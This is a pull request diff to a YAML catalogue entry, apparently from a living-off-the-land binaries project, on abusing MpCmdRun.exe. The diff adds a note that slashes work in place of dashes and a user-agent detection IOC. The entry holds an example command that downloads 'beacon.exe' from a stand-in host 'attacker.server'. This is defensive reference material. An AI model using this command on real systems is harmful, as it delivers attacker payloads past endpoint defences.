Merge pull request #87 from richrumble/patch-1

Update MpCmdRun.yml Added new IOC and alternate / Vs. - details. Thank you @richrumble

yml/OSBinaries/MpCmdRun.yml

@@ -5,7 +5,7 @@ Author: 'Oddvar Moe'
 Created: '09/03/2020'
 Commands:
   - Command: MpCmdRun.exe -DownloadFile -url https://attacker.server/beacon.exe -path c:\\temp\\beacon.exe
-    Description: Download file to specified path
+    Description: Download file to specified path - Slashes work as well as dashes (/DownloadFile, /url, /path)
     Usecase: Download file
     Category: Download
     Privileges: User
@@ -31,6 +31,7 @@ Detection:
   - IOC: MpCmdRun getting a file from a remote machine or the internet that is not expected.
   - IOC: Monitor process creation for non-SYSTEM and non-LOCAL SERVICE accounts launching mpcmdrun.exe.
   - IOC: Monitor for the creation of %USERPROFILE%\AppData\Local\Temp\MpCmdRun.log
+  - IOC: User Agent is "MpCommunication"
 Resources:
   - Link: https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-antivirus/command-line-arguments-microsoft-defender-antivirus
   - Link: https://twitter.com/mohammadaskar2/status/1301263551638761477
@@ -41,4 +42,6 @@ Acknowledgement:
     Handle: '@mohammadaskar2'
   - Person: Oddvar Moe
     Handle: '@oddvarmoe'
+  - Person: RichRumble
+    Handle: ''
 ---